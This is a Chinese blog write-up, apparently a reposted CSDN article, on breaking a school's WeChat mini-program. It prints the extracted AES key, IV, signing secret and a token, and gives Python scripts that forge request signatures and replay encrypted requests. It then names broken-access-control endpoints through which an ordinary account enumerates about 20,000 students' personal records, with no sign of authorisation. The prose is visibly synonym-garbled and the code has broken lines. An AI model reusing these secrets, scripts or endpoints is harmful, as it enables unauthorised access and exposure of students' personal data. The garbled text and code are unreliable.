记一次微信小步调逆向
记一次小步调逆向遇到瓶颈了，不知道该干什么，忽然想到学校的小步调
闲来无事就看一看
抓包下来的数据是这样的，嗯，下机（hhh
https://img-blog.csdnimg.cn/img_convert/7d1c1c1dd2cbf3fc51e9c5a02b393ba3.png
一、反编译步调
加密嘛，之前抓了看到是加密就放弃了，现在重新弄一弄
https://github.com/wux1an/wxapkg
用这个工具反编译当地微信小步调
于是乎拿到js源码看一看
https://img-blog.csdnimg.cn/img_convert/7499d55493e9bd7e5b71f5eaa9ad11b6.png
二、AES加密
找到一些信息
https://img-blog.csdnimg.cn/img_convert/79d209c636bab160110c002f5c253e71.png
AES加密，CBC模式，key和偏移量都拿到了
https://img-blog.csdnimg.cn/img_convert/9018ef2c63d789fdf405b102aeb981ba.png
1）解密
可以解密数据
在线AES加密解密 - 无双工具 (wushuangzl.com)
https://img-blog.csdnimg.cn/img_convert/39d4224c3cd6aca44c51756b3a00798d.png
三、重放
1）sign签名
这边数据包中有个签名值，还有个时间戳timestamp，防止重放，以是要实验知道怎么盘算这个sign值
https://img-blog.csdnimg.cn/img_convert/a1e84e6535d10ada664f58998a1a7b12.png
继续查察源码
找到一处signMD5的调用，应该是md5的盘算
https://img-blog.csdnimg.cn/img_convert/cc28ccec66778e71782fcbd6ad146990.png
找到i的实现
https://img-blog.csdnimg.cn/img_convert/f8cb3dfca6d038599c4296d532b57229.png
全局搜索90c5
https://img-blog.csdnimg.cn/img_convert/542284b6e1c387e7eb633fe519e45154.png
SignMD5 函数通过对对象属性进行排序，
并将属性名和属性值拼接成一个字符串，再将签名与该字符串拼接，
终极将整个字符串作为参数通报给 MD5 盘算函数 c 来天生带有签名的 MD5 哈希值。
大概就是这里了，但代码能力不强，
以是把相干部门代码直接丢给chat，给写个类似的sign签名的脚本
（之前没有js逆向的履历，太菜了）
import hashlib
import json
def sign_md5(data, secret_key):
# 对数据进行排序并拼接
sorted_data = sorted(data.items())
joined_data = ''.join()
# 添加密钥并计算 MD5 哈希值
joined_data_with_key = joined_data + secret_key
md5_hash = hashlib.md5(joined_data_with_key.encode()).hexdigest()
return md5_hash
# 示例数据和密钥
data = {
"uid": 100123,
"token": "216A3906F97C26A29EC0FE10F3956692",
"school_id": 464,
"term_id": 0,
"course_id": 0,
"class_id": 0,
"student_num": "123",
"card_id": "123",
"timestamp": 1713088270,
"version": 1,
"nonce": 270406,
"ostype": 5
}
secret_key = "rDJiNB9j7vD2"
# 计算签名
sign_value = sign_md5(data, secret_key)
print(sign_value)
大概过程是将数据按键名排序后，拼接键值
最后加上key进行md5盘算，这样盘算出来的sign值才是正确的
如图所示
https://img-blog.csdnimg.cn/img_convert/707d95440b826187a42864fe665d913f.png
2）时间戳
这里还必要注意的是字段中偶然间戳和nonce（随机数）
随机数前三位是时间戳的后三位，以是这里代码也是代劳（怎样代码能力确实差
import time
import random
def generate_timestamp_and_nonce():
# 生成 timestamp
timestamp = int(time.time())
# 获取 timestamp 的最后三位
last_three_digits = str(timestamp)[-3:]
# 如果最后三位开头为 0，则去掉 0
if last_three_digits == '0':
last_three_digits = last_three_digits
# 计算需要补齐的数字数量
num_zeros_to_pad = 6 - len(last_three_digits)
# 随机生成需要补齐的数字
random_digits = ''.join(str(random.randint(0, 9)) for _ in range(num_zeros_to_pad))
# 构造 nonce
nonce = int(last_three_digits + random_digits)
return timestamp, nonce
# 生成 timestamp 和 nonce
timestamp, nonce = generate_timestamp_and_nonce()
print("Timestamp:", timestamp)
print("Nonce:", nonce)
3）加解密
然后再写了一个aes加解密的脚本
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
def Encrypt(data, key, iv):
key_bytes = key.encode('utf-8')
iv_bytes = iv.encode('utf-8')
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
return base64.b64encode(ct_bytes).decode('utf-8')
def Decrypt(encrypted_data, key, iv):
key_bytes = key.encode('utf-8')
iv_bytes = iv.encode('utf-8')
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
pt_bytes = cipher.decrypt(base64.b64decode(encrypted_data))
return unpad(pt_bytes, AES.block_size).decode('utf-8')
# 测试
key = "Wet2C8d34f62ndi3"# 密钥
iv = "K6iv85jBD8jgf32D"# 初始向量
plaintext = "{\"uid\":100123,\"token\":\"216A3906F97C26A29EC0FE10F3956692\",\"school_id\":464,\"term_id\":\"4765\",\"course_id\":0,\"class_id\":0,\"student_num\":\"123\",\"card_id\":\"123\",\"timestamp\":1713109134,\"version\":1,\"nonce\":134100,\"ostype\":5,\"page\":1,\"sign\":\"f4fc85b8cbd3f1a007f4837e2efd3686\"}"
# 加密
encrypted = Encrypt(plaintext, key, iv)
print('Encrypted:', encrypted)
# 解密
decrypted = Decrypt(encrypted, key, iv)
print('Decrypted:', decrypted)
https://img-blog.csdnimg.cn/img_convert/24fd27815c7bcf96f6d1c4888f5c87a6.png
终极把这些整合实现重放
https://img-blog.csdnimg.cn/img_convert/904daeaa784e3db988c6326258f4ef44.png
四、BP插件
看了文章，然后去github上下了个插件
autoDecoder
配置好加解密，然后写个正则匹配请求以及响应中的加解密的数据
https://img-blog.csdnimg.cn/img_convert/78983ff0913f381eb80c8f7f1233116e.png
https://img-blog.csdnimg.cn/img_convert/8218fadaab9b22cdb0dd782dde92664b.png
配置好后抓包，效果如下
原来：
https://img-blog.csdnimg.cn/img_convert/e8ca62a2075eeb2cefacc89b99e903c6.png
然后：
https://img-blog.csdnimg.cn/img_convert/fc65e0bc14d92105f886cfce587860e8.png
针不戳
五、实验
看js里有挺多接口的，一开始稍微看了一下都没有什么敏感泄露，也没有什么未授权，
倒是有个管理背景的地址，不过看了一下也没什么办法
字段中存在uid，实验是否存在越权，结果uid与token关联的，以是无果
但总感觉是有点标题的，来都来到这一步，总不能放弃吧，至少把接口都看一遍
https://img-blog.csdnimg.cn/img_convert/3bc6ca895f1157fa2e9f12fc4f244dc8.png
大部门接口都是提交固定的参数，其他的一些接口不知道该提交什么样的参数
而且这些接口应该是类似教师权限用户才能使用的接口
最后还是找到接口泄露 (举个例子
/v3/api.php/TeacherCourse/getStudentList
/v3/api.php/Exam/classStudentList
我只要用普通用户的账号可以查察接口下的数据
修改course_id遍历数据即可
预测了一下course_id有500+
里面可以看到学号+姓名+学院专业，还有user_id之类的
大概2w+，虽然不是什么敏感信息，但至少量多啊
这是请求包解密的数据，然后请求
https://img-blog.csdnimg.cn/img_convert/8fa119b949b5d0a65d187405e9631f42.png
这个接口就返回大量数据，解密后就是学生数据了
https://img-blog.csdnimg.cn/img_convert/c0227cd28f3a99fc174fd58dec0b5467.png
aes解密后，响应包的大概数据如下
https://img-blog.csdnimg.cn/img_convert/0b7c1b343ee8566d2ebaf885834dc2c0.png
结语
写下文章记录过程，个人感觉还有利用点，
怎样目前能力不够只做到这里，
有不敷之处还请师傅们予以指正。
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